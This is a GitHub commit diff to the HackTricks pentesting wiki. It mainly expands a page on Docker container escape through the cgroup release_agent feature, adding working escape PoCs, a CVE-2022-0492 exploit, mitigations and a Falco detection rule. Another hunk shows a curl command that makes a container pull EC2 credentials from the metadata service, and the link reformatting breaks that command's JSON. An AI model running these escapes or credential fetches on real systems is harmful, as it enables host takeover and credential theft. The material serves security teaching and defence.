Skip to content

Commit ae57504

Browse files
authored
Merge pull request #1110 from HackTricks-wiki/research_update_src_linux-hardening_privilege-escalation_docker-security_docker-breakout-privilege-escalation_docker-release_agent-cgroups-escape_20250712_110342
Research Update Enhanced src/linux-hardening/privilege-escal...
2 parents 08b4f2c + f87508f commit ae57504

File tree

7 files changed

+110
-50
lines changed

7 files changed

+110
-50
lines changed

src/generic-methodologies-and-resources/phishing-methodology/discord-invite-hijacking.md

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -57,7 +57,7 @@ This approach avoids direct file downloads and leverages familiar UI elements to
5757

5858
## References
5959

60-
- From Trust to Threat: Hijacked Discord Invites Used for Multi-Stage Malware Delivery – https://research.checkpoint.com/2025/from-trust-to-threat-hijacked-discord-invites-used-for-multi-stage-malware-delivery/
61-
- Discord Custom Invite Link Documentation – https://support.discord.com/hc/en-us/articles/115001542132-Custom-Invite-Link
60+
- From Trust to Threat: Hijacked Discord Invites Used for Multi-Stage Malware Delivery – [https://research.checkpoint.com/2025/from-trust-to-threat-hijacked-discord-invites-used-for-multi-stage-malware-delivery/](https://research.checkpoint.com/2025/from-trust-to-threat-hijacked-discord-invites-used-for-multi-stage-malware-delivery/)
61+
- Discord Custom Invite Link Documentation – [https://support.discord.com/hc/en-us/articles/115001542132-Custom-Invite-Link](https://support.discord.com/hc/en-us/articles/115001542132-Custom-Invite-Link)
6262

6363
{{#include ../../banners/hacktricks-training.md}}

src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/docker-release_agent-cgroups-escape.md

Lines changed: 97 additions & 34 deletions
Original file line numberDiff line numberDiff line change
@@ -4,7 +4,9 @@
44

55
**For further details, refer to the** [**original blog post**](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)**.** This is just a summary:
66

7-
Original PoC:
7+
---
8+
9+
## Classic PoC (2019)
810

911
```shell
1012
d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
@@ -14,51 +16,112 @@ touch /o; echo $t/c >$d/release_agent;echo "#!/bin/sh
1416
$1 >$t/o" >/c;chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o
1517
```
1618

17-
The proof of concept (PoC) demonstrates a method to exploit cgroups by creating a `release_agent` file and triggering its invocation to execute arbitrary commands on the container host. Here's a breakdown of the steps involved:
19+
The PoC abuses the **cgroup-v1** `release_agent` feature: when the last task of a cgroup that has `notify_on_release=1` exits, the kernel (in the **initial namespaces on the host**) executes the program whose pathname is stored in the writable file `release_agent`. Because that execution happens with **full root privileges on the host**, gaining write access to the file is enough for a container escape.
1820

19-
1. **Prepare the Environment:**
20-
- A directory `/tmp/cgrp` is created to serve as a mount point for the cgroup.
21-
- The RDMA cgroup controller is mounted to this directory. In case of absence of the RDMA controller, it's suggested to use the `memory` cgroup controller as an alternative.
21+
### Short, readable walk-through
2222

23-
```shell
24-
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
25-
```
23+
1. **Prepare a new cgroup**
2624

27-
2. **Set Up the Child Cgroup:**
28-
- A child cgroup named "x" is created within the mounted cgroup directory.
29-
- Notifications are enabled for the "x" cgroup by writing 1 to its notify_on_release file.
25+
```shell
26+
mkdir /tmp/cgrp
27+
mount -t cgroup -o rdma cgroup /tmp/cgrp # or –o memory
28+
mkdir /tmp/cgrp/x
29+
echo 1 > /tmp/cgrp/x/notify_on_release
30+
```
3031

31-
```shell
32-
echo 1 > /tmp/cgrp/x/notify_on_release
33-
```
32+
2. **Point `release_agent` to attacker-controlled script on the host**
3433

35-
3. **Configure the Release Agent:**
36-
- The path of the container on the host is obtained from the /etc/mtab file.
37-
- The release_agent file of the cgroup is then configured to execute a script named /cmd located at the acquired host path.
34+
```shell
35+
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
36+
echo "$host_path/cmd" > /tmp/cgrp/release_agent
37+
```
3838

39-
```shell
40-
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
41-
echo "$host_path/cmd" > /tmp/cgrp/release_agent
42-
```
39+
3. **Drop the payload**
4340

44-
4. **Create and Configure the /cmd Script:**
45-
- The /cmd script is created inside the container and is configured to execute ps aux, redirecting the output to a file named /output in the container. The full path of /output on the host is specified.
41+
```shell
42+
cat <<'EOF' > /cmd
43+
#!/bin/sh
44+
ps aux > "$host_path/output"
45+
EOF
46+
chmod +x /cmd
47+
```
4648

47-
```shell
48-
echo '#!/bin/sh' > /cmd
49-
echo "ps aux > $host_path/output" >> /cmd
50-
chmod a+x /cmd
51-
```
49+
4. **Trigger the notifier**
5250

53-
5. **Trigger the Attack:**
54-
- A process is initiated within the "x" child cgroup and is immediately terminated.
55-
- This triggers the `release_agent` (the /cmd script), which executes ps aux on the host and writes the output to /output within the container.
51+
```shell
52+
sh -c "echo $$ > /tmp/cgrp/x/cgroup.procs" # add ourselves and immediately exit
53+
cat /output # now contains host processes
54+
```
5655

57-
```shell
58-
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
56+
---
57+
58+
## 2022 kernel vulnerability – CVE-2022-0492
59+
60+
In February 2022 Yiqi Sun and Kevin Wang discovered that **the kernel did *not* verify capabilities when a process wrote to `release_agent` in cgroup-v1** (function `cgroup_release_agent_write`).
61+
62+
Effectively **any process that could mount a cgroup hierarchy (e.g. via `unshare -UrC`) could write an arbitrary path to `release_agent` without `CAP_SYS_ADMIN` in the *initial* user namespace**. On a default-configured, root-running Docker/Kubernetes container this allowed:
63+
64+
* privilege escalation to root on the host; ↗
65+
* container escape without the container being privileged.
66+
67+
The flaw was assigned **CVE-2022-0492** (CVSS 7.8 / High) and fixed in the following kernel releases (and all later):
68+
69+
* 5.16.2, 5.15.17, 5.10.93, 5.4.176, 4.19.228, 4.14.265, 4.9.299.
70+
71+
Patch commit: `1e85af15da28 "cgroup: Fix permission checking"`.
72+
73+
### Minimal exploit inside a container
74+
75+
```bash
76+
# prerequisites: container is run as root, no seccomp/AppArmor profile, cgroup-v1 rw inside
77+
apk add --no-cache util-linux # provides unshare
78+
unshare -UrCm sh -c '
79+
mkdir /tmp/c; mount -t cgroup -o memory none /tmp/c;
80+
echo 1 > /tmp/c/notify_on_release;
81+
echo /proc/self/exe > /tmp/c/release_agent; # will exec /bin/busybox from host
82+
(sleep 1; echo 0 > /tmp/c/cgroup.procs) &
83+
while true; do sleep 1; done
84+
'
85+
```
86+
If the kernel is vulnerable the busybox binary from the *host* executes with full root.
87+
88+
### Hardening & Mitigations
89+
90+
* **Update the kernel** (≥ versions above). The patch now requires `CAP_SYS_ADMIN` in the *initial* user namespace to write to `release_agent`.
91+
* **Prefer cgroup-v2** – the unified hierarchy **removed the `release_agent` feature completely**, eliminating this class of escapes.
92+
* **Disable unprivileged user namespaces** on hosts that do not need them:
93+
```shell
94+
sysctl -w kernel.unprivileged_userns_clone=0
95+
```
96+
* **Mandatory access control**: AppArmor/SELinux policies that deny `mount`, `openat` on `/sys/fs/cgroup/**/release_agent`, or drop `CAP_SYS_ADMIN`, stop the technique even on vulnerable kernels.
97+
* **Read-only bind-mask** all `release_agent` files (Palo Alto script example):
98+
```shell
99+
for f in $(find /sys/fs/cgroup -name release_agent); do
100+
mount --bind -o ro /dev/null "$f"
101+
done
102+
```
103+
104+
## Detection at runtime
105+
106+
[`Falco`](https://falco.org/) ships a built-in rule since v0.32:
107+
108+
```yaml
109+
- rule: Detect release_agent File Container Escapes
110+
desc: Detect an attempt to exploit a container escape using release_agent
111+
condition: open_write and container and fd.name endswith release_agent and
112+
(user.uid=0 or thread.cap_effective contains CAP_DAC_OVERRIDE) and
113+
thread.cap_effective contains CAP_SYS_ADMIN
114+
output: "Potential release_agent container escape (file=%fd.name user=%user.name cap=%thread.cap_effective)"
115+
priority: CRITICAL
116+
tags: [container, privilege_escalation]
59117
```
60118
61-
{{#include ../../../../banners/hacktricks-training.md}}
119+
The rule triggers on any write attempt to `*/release_agent` from a process inside a container that still wields `CAP_SYS_ADMIN`.
120+
62121

122+
## References
63123

124+
* [Unit 42 – CVE-2022-0492: container escape via cgroups](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/) – detailed analysis and mitigation script.
125+
* [Sysdig Falco rule & detection guide](https://sysdig.com/blog/detecting-mitigating-cve-2022-0492-sysdig/)
64126

127+
{{#include ../../../../banners/hacktricks-training.md}}

src/network-services-pentesting/1099-pentesting-java-rmi.md

Lines changed: 5 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -86,7 +86,7 @@ $ rmg enum 172.17.0.2 9010
8686
[+]
8787
[+] RMI server codebase enumeration:
8888
[+]
89-
[+] - http://iinsecure.dev/well-hidden-development-folder/
89+
[+] - [http://iinsecure.dev/well-hidden-development-folder/](http://iinsecure.dev/well-hidden-development-folder/)
9090
[+] --> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub
9191
[+] --> de.qtc.rmg.server.interfaces.IPlainServer
9292
[+]
@@ -254,8 +254,8 @@ $ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
254254
[+] - javax.management.remote.rmi.RMIConnection newClient(Object params)
255255
[+]
256256
[+] References:
257-
[+] - https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html
258-
[+] - https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi
257+
[+] - [https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html](https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html)
258+
[+] - [https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi](https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi)
259259
[+]
260260
[+] Vulnerabilities:
261261
[+]
@@ -269,7 +269,7 @@ $ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
269269
[+] is therefore most of the time equivalent to remote code execution.
270270
[+]
271271
[+] References:
272-
[+] - https://github.com/qtc-de/beanshooter
272+
[+] - [https://github.com/qtc-de/beanshooter](https://github.com/qtc-de/beanshooter)
273273
[+]
274274
[+] -----------------------------------
275275
[+] Name:
@@ -282,7 +282,7 @@ $ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
282282
[+] establish a working JMX connection, you can also perform deserialization attacks.
283283
[+]
284284
[+] References:
285-
[+] - https://github.com/qtc-de/beanshooter
285+
[+] - [https://github.com/qtc-de/beanshooter](https://github.com/qtc-de/beanshooter)
286286
```
287287

288288
## Shodan
@@ -316,4 +316,3 @@ Entry_1:
316316
{{#include ../banners/hacktricks-training.md}}
317317

318318

319-

src/network-services-pentesting/2375-pentesting-docker.md

Lines changed: 1 addition & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -163,7 +163,7 @@ curl –insecure https://tlsopen.docker.socket:2376/containers/json | jq
163163
#List processes inside a container
164164
curl –insecure https://tlsopen.docker.socket:2376/containers/f9cecac404b01a67e38c6b4111050c86bbb53d375f9cca38fa73ec28cc92c668/top | jq
165165
#Set up and exec job to hit the metadata URL
166-
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/blissful_engelbart/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "wget -qO- http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"]}'
166+
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/blissful_engelbart/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "wget -qO- [http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"]}']
167167
#Get the output
168168
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/4353567ff39966c4d231e936ffe612dbb06e1b7dd68a676ae1f0a9c9c0662d55/start -d '{}'
169169
# list secrets (no secrets/swarm not set up)
@@ -337,4 +337,3 @@ You can use auditd to monitor docker.
337337
{{#include ../banners/hacktricks-training.md}}
338338
339339
340-

src/network-services-pentesting/pentesting-web/joomla.md

Lines changed: 1 addition & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -65,7 +65,7 @@ curl https://www.joomla.org/ | grep Joomla | grep generator
6565
1- What is this?
6666
* This is a Joomla! installation/upgrade package to version 3.x
6767
* Joomla! Official site: https://www.joomla.org
68-
* Joomla! 3.9 version history - https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history
68+
* Joomla! 3.9 version history - [https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history](https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history)
6969
* Detailed changes in the Changelog: https://github.com/joomla/joomla-cms/commits/staging
7070
```
7171

@@ -124,4 +124,3 @@ If you managed to get **admin credentials** you can **RCE inside of it** by addi
124124
{{#include ../../banners/hacktricks-training.md}}
125125

126126

127-

src/network-services-pentesting/pentesting-web/moodle.md

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -21,8 +21,8 @@ droopescan scan moodle -u http://moodle.example.com/<moodle_path>/
2121
3.10.0-beta
2222

2323
[+] Possible interesting urls found:
24-
Static readme file. - http://moodle.schooled.htb/moodle/README.txt
25-
Admin panel - http://moodle.schooled.htb/moodle/login/
24+
Static readme file. - [http://moodle.schooled.htb/moodle/README.txt](http://moodle.schooled.htb/moodle/README.txt)
25+
Admin panel - [http://moodle.schooled.htb/moodle/login/](http://moodle.schooled.htb/moodle/login/)
2626

2727
[+] Scan finished (0:00:05.643539 elapsed)
2828
```

src/todo/radio-hacking/low-power-wide-area-network.md

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -94,6 +94,6 @@ Force SF12/125 kHz to increase airtime → exhaust duty-cycle of gateway (denial
9494

9595
## References
9696

97-
* LoRaWAN Auditing Framework (LAF) – https://github.com/IOActive/laf
98-
* Trend Micro LoRaPWN overview – https://www.hackster.io/news/trend-micro-finds-lorawan-security-lacking-develops-lorapwn-python-utility-bba60c27d57a
97+
* LoRaWAN Auditing Framework (LAF) – [https://github.com/IOActive/laf](https://github.com/IOActive/laf)
98+
* Trend Micro LoRaPWN overview – [https://www.hackster.io/news/trend-micro-finds-lorawan-security-lacking-develops-lorapwn-python-utility-bba60c27d57a](https://www.hackster.io/news/trend-micro-finds-lorawan-security-lacking-develops-lorapwn-python-utility-bba60c27d57a)
9999
{{#include ../../banners/hacktricks-training.md}}

0 commit comments

Comments
 (0)